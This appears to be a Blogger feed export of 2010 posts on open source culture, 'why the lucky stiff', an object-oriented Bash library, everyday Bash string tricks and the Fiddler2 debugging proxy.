&lt;a href="http://en.wikipedia.org/wiki/Open_source_curriculum" title="Open source curriculum"&gt;Open source curricula&lt;/a&gt; are  instructional resources whose digital source can be freely used,  distributed and modified.&lt;br /&gt;
Another strand to the academic community is in the area of research.  Many funded research projects produce software as part of their work.  There is an increasing interest in making the outputs of such projects  available under an open source license. In the UK the &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Jisc" title="Jisc"&gt;Joint Information Systems Committee (JISC)&lt;/a&gt; has  developed a policy on open source software. JISC also funds a  development service called &lt;a href="http://en.wikipedia.org/wiki/OSS_Watch" title="OSS Watch"&gt;OSS  Watch&lt;/a&gt; which acts as an advisory service for higher and further  education institutions wishing to use, contribute to and develop open  source software.&lt;br /&gt;
&lt;h3&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Open_source&amp;amp;action=edit&amp;amp;section=17" title="Edit section: Innovation communities"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Innovation_communities"&gt;Innovation communities&lt;/span&gt;&lt;/h3&gt;The principle of sharing predates the open source movement; for  example, the free sharing of information has been institutionalized in  the scientific enterprise since at least the 19th century. Open source  principles have always been part of the scientific community. The  sociologist &lt;a href="http://en.wikipedia.org/wiki/Robert_K._Merton" title="Robert K. Merton"&gt;Robert K. Merton&lt;/a&gt; described the four basic  elements of the community — universalism (an international perspective),  communism (sharing information), disinterestedness (removing one's  personal views from the scientific inquiry) and organized skepticism  (requirements of proof and review) that accurately describe the  scientific community today. These principles are, in part, complemented  by US law's focus on protecting expression and method but not the ideas  themselves. There is also a tradition of publishing research results to  the scientific community instead of keeping all such knowledge  proprietary. One of the recent initiatives in scientific publishing has  been &lt;a href="http://en.wikipedia.org/wiki/Open_access_%28publishing%29" title="Open access (publishing)"&gt;open access&lt;/a&gt; — the idea that  research should be published in such a way that it is free and available  to the public. There are currently many open access journals where the  information is available free online, however most journals do charge a  fee (either to users or libraries for access). The Budapest Open Access  Initiative is an international effort with the goal of making all  research articles available free on the Internet. The &lt;a href="http://en.wikipedia.org/wiki/National_Institutes_of_Health" title="National Institutes of Health"&gt;National Institutes of Health&lt;/a&gt;  has recently proposed a policy on "Enhanced Public Access to NIH  Research Information." This policy would provide a free, searchable  resource of NIH-funded results to the public and with other  international repositories six months after its initial publication. The  NIH's move is an important one because there is significant amount of  public funding in scientific research. Many of the questions have yet to  be answered — the balancing of profit vs. public access, and ensuring  that desirable standards and incentives do not diminish with a shift to  open access.&lt;br /&gt;
Farmavita.Net — Community of Pharmaceuticals Executives have recently  proposed new business model of Open Source Pharmaceuticals.&lt;sup class="reference" id="cite_ref-41"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-41"&gt;&lt;span&gt;[&lt;/span&gt;42&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;  The project is targeted to development and sharing of know-how for  manufacture of essential and life saving medicines. It is mainly  dedicated to the countries with less developed economies where local  pharmaceutical research and development resources are insufficient for  national needs. It will be limited to generic (off-patent) medicines  with established use. By the definition, medicinal product have a  “well-established use” if is used for at least 15 years, with recognized  efficacy and an acceptable level of safety. In that event, the  expensive clinical test and trial results could be replaced by  appropriate scientific literature.&lt;br /&gt;
&lt;a href="http://en.wikipedia.org/wiki/Benjamin_Franklin" title="Benjamin Franklin"&gt;Benjamin Franklin&lt;/a&gt; was an early contributor  eventually donating all his inventions including the &lt;a href="http://en.wikipedia.org/wiki/Franklin_stove" title="Franklin 
stove"&gt;Franklin stove&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Bifocals" title="Bifocals"&gt;bifocals&lt;/a&gt;,  and the &lt;a href="http://en.wikipedia.org/wiki/Lightning_rod" title="Lightning rod"&gt;lightning rod&lt;/a&gt; to the public domain.&lt;br /&gt;
New NGO communities are starting to use the open source technology as  a tool. One example is the Open Source Youth Network started in 2007 in  Lisboa by ISCA members.&lt;sup class="reference" id="cite_ref-42"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-42"&gt;&lt;span&gt;[&lt;/span&gt;43&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;br /&gt;
&lt;a href="http://en.wikipedia.org/wiki/Open_innovation" title="Open 
innovation"&gt;Open innovation&lt;/a&gt; is also a new emerging concept which  advocate putting R&amp;amp;D in a common pool. The &lt;a href="http://en.wikipedia.org/wiki/Eclipse_%28software%29" title="Eclipse (software)"&gt;Eclipse&lt;/a&gt; platform is openly presenting  itself as an Open innovation network.&lt;sup class="reference" id="cite_ref-43"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-43"&gt;&lt;span&gt;[&lt;/span&gt;44&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;br /&gt;
&lt;h3&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Open_source&amp;amp;action=edit&amp;amp;section=18" title="Edit section: Arts and recreation"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Arts_and_recreation"&gt;Arts and recreation&lt;/span&gt;&lt;/h3&gt;Copyright protection is used in the &lt;a href="http://en.wikipedia.org/wiki/Performing_arts" title="Performing 
arts"&gt;performing arts&lt;/a&gt; and even in athletic activities. Some groups  have attempted to remove copyright from such practices.&lt;sup class="reference" id="cite_ref-44"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-44"&gt;&lt;span&gt;[&lt;/span&gt;45&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;br /&gt;
&lt;h2&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Open_source&amp;amp;action=edit&amp;amp;section=19" title="Edit section: See also"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="See_also"&gt;&lt;/span&gt;&lt;/h2&gt;irst public call to the free software community  to adopt the new term.&lt;sup class="reference" id="cite_ref-raymondCall_10-0"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-raymondCall-10"&gt;&lt;span&gt;[&lt;/span&gt;11&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;  The &lt;a href="http://en.wikipedia.org/wiki/Open_Source_Initiative" title="Open Source Initiative"&gt;Open Source Initiative&lt;/a&gt; was formed  shortly thereafter.&lt;sup class="reference" id="cite_ref-osihistory_6-1"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-osihistory-6"&gt;&lt;span&gt;[&lt;/span&gt;7&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;br /&gt;
Starting in the early 2000s, a number of companies began to publish a  portion of their source code to claim they were open source, while  keeping key parts closed. This led to the development of the now widely  used terms &lt;i&gt;&lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Free_open_source_software" title="Free open source software"&gt;free open source  software&lt;/a&gt;&lt;/i&gt; and &lt;i&gt;&lt;a href="http://en.wikipedia.org/wiki/Commercial_open_source_software" title="Commercial open source software"&gt;commercial open source software&lt;/a&gt;&lt;/i&gt;  to distinguish between truly open and hybrid forms of open source.&lt;sup class="noprint Inline-Template" style="white-space: nowrap;" title="The material in the vicinity of 
this tag may be based upon unreliable original research from January 
2010"&gt;[&lt;i&gt;&lt;a href="http://en.wikipedia.org/wiki/Wikipedia:No_original_research" title="Wikipedia:No original research"&gt;original research?&lt;/a&gt;&lt;/i&gt;]&lt;/sup&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-7294123749573307685?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/7294123749573307685/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/closed-source-and-open-source.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/7294123749573307685'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/7294123749573307685'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/closed-source-and-open-source.html' title='Closed Source and Open Source'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-6916936245301168566</id><published>2010-12-28T06:09:00.000-08:00</published><updated>2010-12-28T06:25:52.851-08:00</updated><title type='text'>Why The Lucky Stiff</title><content type='html'>Just read this good article on a&lt;a href="http://www.rubyinside.com/why-the-lucky-stiff-is-missing-2278.html"&gt; key ruby hacker and developer who vanished&lt;/a&gt; from visible internet (or rather visibility) one fine day, stating:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;programming is rather thankless. u see your works become replaced by superior ones in a year. unable to run at all in a few more&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
There is another article on him &lt;a href="http://en.wikipedia.org/wiki/Why_the_lucky_stiff"&gt;in the wikipedia&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
This is what it has about him:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;why the lucky stiff&lt;/b&gt; (often known simply as &lt;i&gt;why&lt;/i&gt;, &lt;i&gt;_why&lt;/i&gt;)  was the persona of an anonymous and prolific writer, cartoonist,  musician, artist, and computer programmer notable for his work with the &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Ruby_programming_language" title="Ruby programming language"&gt;Ruby programming language&lt;/a&gt;. Along with &lt;a href="http://en.wikipedia.org/wiki/Yukihiro_Matsumoto" title="Yukihiro Matsumoto"&gt;Yukihiro Matsumoto&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/David_Heinemeier_Hansson" title="David Heinemeier Hansson"&gt;David Heinemeier Hansson&lt;/a&gt;, he was seen as a key figure in the Ruby community.&lt;br /&gt;
Why the lucky stiff was the keynote speaker at &lt;i&gt;RailsConf&lt;/i&gt; in 2006.&lt;sup class="reference" id="cite_ref-0"&gt;&lt;a href="http://en.wikipedia.org/wiki/Why_the_lucky_stiff#cite_note-0"&gt;[1]&lt;/a&gt;&lt;/sup&gt;  He also had a speaking session titled "A Starry Afternoon, a Sinking  Symphony, and the Polo Champ Who Gave It All Up for No Reason  Whatsoever" at the 2005 &lt;a href="http://en.wikipedia.org/wiki/O%27Reilly_Open_Source_Convention" title="O'Reilly Open Source Convention"&gt;O'Reilly Open Source Convention&lt;/a&gt; held in &lt;a href="http://en.wikipedia.org/wiki/Portland,_Oregon" title="Portland, Oregon"&gt;Portland, Oregon&lt;/a&gt;.&lt;sup class="reference" id="cite_ref-1"&gt;&lt;a href="http://en.wikipedia.org/wiki/Why_the_lucky_stiff#cite_note-1"&gt;[2]&lt;/a&gt;&lt;/sup&gt; It explored how to teach programming and make it more appealing to &lt;a href="http://en.wikipedia.org/wiki/Adolescence" title="Adolescence"&gt;adolescents&lt;/a&gt;.&lt;br /&gt;
On 19 August 2009, his online presence was drastically truncated; his  accounts on Twitter and GitHub were shut down, along with many of his  personally maintained sites.&lt;sup class="reference" id="cite_ref-2"&gt;&lt;a href="http://en.wikipedia.org/wiki/Why_the_lucky_stiff#cite_note-2"&gt;[3]&lt;/a&gt;&lt;/sup&gt; His projects have since been collected and centralized on the whymirror GitHub account&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There is even a &lt;a href="http://whyday.org/"&gt;whyday&lt;/a&gt; for him&lt;br /&gt;
&lt;br /&gt;
These are his projects:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://github.com/mental/bloopsaphone"&gt;bloopsaphone&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/bterlson/blimlimb"&gt;blimlimb&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/bruce/bumpspark"&gt;bumpspark&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/camping/camping"&gt;camping&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/drnic/8cpj"&gt;8cpj&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/steveklabnik/hacketyhack"&gt;hacketyhack&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/hobix/hobix"&gt;hobix&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/robbyrussell/hoodwinkd"&gt;hoodwinkd&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/ecarnevale/hpricot"&gt;hpricot&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/joho/markaby"&gt;markaby&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/dannytatom/metaid"&gt;metaid&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/rkh/mixico"&gt;mixico&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/evaryont/mousehole"&gt;mousehole&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/mattjamieson/parkplace"&gt;parkplace&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/fogus/potion"&gt;potion&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/jgarber/redcloth"&gt;redcloth&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/wmorgan/sheila"&gt;sheila&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/Sophrinix/sandbox"&gt;sandbox&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/Sophrinix/TryRuby"&gt;Try Ruby&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/shoes/shoes"&gt;shoes&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/indeyets/syck"&gt;syck&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/devyn/unholy"&gt;unholy&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/fogus/chirrup"&gt;chirrup&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/fogus/skistrap"&gt;skistrap&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/fogus/fakeplus"&gt;fakeplus&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/fogus/processor"&gt;processor&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/fogus/rb_parse_args"&gt;rb_parse_args&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://github.com/whymirror/yown"&gt;yown&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://rubyforge.org/projects/dns-zone"&gt;dns-zone&lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-6916936245301168566?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/6916936245301168566/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/why-lucky-stiff.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/6916936245301168566'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/6916936245301168566'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/why-lucky-stiff.html' title='Why The Lucky Stiff'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-2752578767663664201</id><published>2010-12-28T05:22:00.000-08:00</published><updated>2010-12-28T06:02:39.473-08:00</updated><title type='text'>OpenSource Projects have no managers</title><content type='html'>Was reading through &lt;a href="http://en.wikipedia.org/wiki/Open-source_software"&gt;wikipedia link&lt;/a&gt; and just stumbled upon the following snip:&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;
&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;"Utilities that automate testing, compiling and bug reporting help  preserve stability and support of software projects that have numerous  developers but &lt;b&gt;no managers&lt;/b&gt;, quality controller or technical support.  Building systems that report compilation errors among different  platforms include &lt;a href="http://en.wikipedia.org/wiki/Tinderbox_%28software%29" title="Tinderbox (software)"&gt;Tinderbox&lt;/a&gt;. Commonly used &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Bugtracker" title="Bugtracker"&gt;bugtrackers&lt;/a&gt;&lt;a href="http://en.wikipedia.org/wiki/Bugzilla" title="Bugzilla"&gt; Bugzilla&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/GNATS" title="GNATS"&gt;GNATS&lt;/a&gt;."&lt;/i&gt;&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
Ever noticed the fact that there are no __managers__ in opensource projects&lt;br /&gt;
&lt;br /&gt;
There are developers, a few testers, enthusiasts and leaders&lt;br /&gt;
&lt;br /&gt;
BUT __NO MANAGERS, SENIOR MANAGERS, DIRECTORS, SENIOR DIRECTORS, VICE PRESIDENTS, PRESIDENTS AND CEOS__&lt;br /&gt;
&lt;br /&gt;
Ever wonder how so many projects starting from Operating System Kernels, OS Emulators, and Quality Browsers are being written without any management hierarchy&lt;br /&gt;
&lt;br /&gt;
Here again, I am not talking about RedHat or SuSE/Novell which are registered companies. I am talking about GNOME, KDE, FIREFOX, PYTHON, PERL, RUBY, THE LINUX KERNEL&amp;nbsp; the list goes on&lt;br /&gt;
&lt;br /&gt;
There might be some managers here and there, but to be true, most, if not all of the open source projects run without MANAGERS&lt;br /&gt;
&lt;br /&gt;
There is &lt;a href="http://opensource.com/business/09/10/gary-hamel-open-source-one-greatest-management-innovations-21st-century"&gt;an article&lt;/a&gt; somewhere where a book called "The future of management" discusses as follows:&lt;br /&gt;
&lt;br /&gt;
I knew Gary was familiar with open source after reading his book &lt;a href="http://www.amazon.com/Future-Management-Bill-Breen/dp/1422102505"&gt;The Future of Management&lt;/a&gt;. He spends five pages (205-210 in the hardcover) discussing open source and at one point says the following:&lt;br /&gt;
&lt;div style="padding-left: 30px;"&gt;&lt;i&gt;The success of the open source  software movement is the single most dramatic example of how an opt-in  engagement model can mobilize human effort on a grand scale... It's  little wonder that the success of open source has left a lot of senior  executives slack-jawed. After all, it's tough for managers to understand  a production process that doesn't rely on managers.&lt;/i&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-2752578767663664201?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/2752578767663664201/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/opensource-projects-important-feature.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/2752578767663664201'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/2752578767663664201'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/opensource-projects-important-feature.html' title='OpenSource Projects have no managers'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-113165396968253325</id><published>2010-12-27T19:28:00.001-08:00</published><updated>2010-12-27T19:28:59.841-08:00</updated><title type='text'>Power up your calculator from two flower pots!</title><content type='html'>Here is the video:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.youtube.com/watch?v=JaLcyFg3BXA&amp;amp;feature=fvw"&gt;Youtube Link&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-113165396968253325?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/113165396968253325/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/power-up-your-calculator-from-two.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/113165396968253325'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/113165396968253325'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/power-up-your-calculator-from-two.html' title='Power up your calculator from two flower pots!'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-2387502300538529359</id><published>2010-12-21T23:11:00.000-08:00</published><updated>2011-02-22T06:22:41.400-08:00</updated><title type='text'>Object Oriented Bash (oobash)</title><content type='html'>Download source code &lt;a href="http://oobash.sourceforge.net/"&gt;here&lt;/a&gt; or &lt;a href="http://files.myopera.com/suchindrac/files/oobash-0.32.source"&gt;here&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;$ source oobash-0.32.source 
$ String strVar "Abcdef"
$ strVar.isDigit
false
$ length=`strVar.length`
$ echo $length
6
$String.help

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-2387502300538529359?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/2387502300538529359/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/object-oriented-bash-oobash.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/2387502300538529359'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/2387502300538529359'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/object-oriented-bash-oobash.html' title='Object Oriented Bash (oobash)'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-7515168589248137652</id><published>2010-12-21T22:28:00.000-08:00</published><updated>2011-02-22T06:26:36.027-08:00</updated><title type='text'>Some more bash tricks</title><content type='html'>&lt;u&gt;&lt;b&gt;String repetition:&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
"abcd" should become "abcdabcdabcdabcd" (ie., abcd 4 times)&lt;br /&gt;
Method:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;echo -n -e $(yes abcd | head -n4 ) | tr -d ' '
&lt;/pre&gt;&lt;u&gt;&lt;b&gt;String Replacement:&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;u&gt;&lt;b&gt; &lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
Task: "abcd.efgh.ijkl" should become "abcd.mnop.ijkl" (ie., replace "efgh" with "mnop")&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;var="abcd.efgh.ijkl"
echo ${var/"efgh"/"mnop"}
echo ${var/efgh/mnop} 
&lt;/pre&gt;&lt;u&gt;&lt;b&gt;String replacement (match all):&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;u&gt;&lt;b&gt; &lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
"abcd.efgh.ikjl.efgh" should become "abcd.mnop.ijkl.mnop" (ie., replace "efgh" with "mnop" wherever it occurs)&lt;br /&gt;
&lt;u&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;var="abcd.efgh.ijkl.efgh"
echo ${var//"efgh"/"mnop"}
echo ${var//efgh/mnop} 
&lt;/pre&gt;&lt;u&gt;&lt;b&gt;String replacement (only beginning):&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;u&gt;&lt;b&gt; &lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
"abcd.efgh.abcd.ijkl" should become "mnop.efgh.abcd.ijkl" (ie., replace only the beginning "abcd")&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;var="abcd.efgh.abcd.ijkl"
echo ${var/#abcd/mnop}
&lt;/pre&gt;&lt;b&gt;&lt;u&gt;String replacement (only ending part):&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;u&gt; &lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
"abcd.efgh.ijkl.efgh.ijkl" should become "abcd.efgh.ijkl.efgh.mnop" (ie., replace only the ending "ijkl")&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;var="abcd.efgh.ijkl.efgh.ijkl"
echo ${var/%ijkl/mnop}
&lt;/pre&gt;&lt;u&gt;&lt;b&gt;String extraction:&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
Extract sub string starting with the 10th character&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;var="Hi How are you"
echo ${var:10}
&lt;/pre&gt;Extract sub string from 10th to 15th character&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;var="Hi How are you now"
echo ${var:10:15}
&lt;/pre&gt;&lt;u&gt;&lt;b&gt;String Length:&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
Identify the length of a string&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;var="Hi How are you"
echo ${#var}
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-7515168589248137652?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/7515168589248137652/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/some-more-bash-tricks.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/7515168589248137652'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/7515168589248137652'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/some-more-bash-tricks.html' title='Some more bash tricks'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-1790237085722053046</id><published>2010-12-16T22:45:00.000-08:00</published><updated>2010-12-16T22:45:50.408-08:00</updated><title type='text'>Fiddler2 - Fiddle with SSL</title><content type='html'>&lt;a href="http://www.fiddler2.com/fiddler2/"&gt;Fiddler2&lt;/a&gt; works by acting as a proxy server between your software and the Internet, intercepting HTTP requests before transmitting them to their intended destination. Many REST APIs, particularly OAuth authentication, operate over SSL. Because Fiddler2 is a proxy server, it can instruct an HTTP protocol stack that it is the intended secure server for all SSL connections. This enables the app to intercept all SSL requests, giving developers a peek at data that’s usually kept under lock and key&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 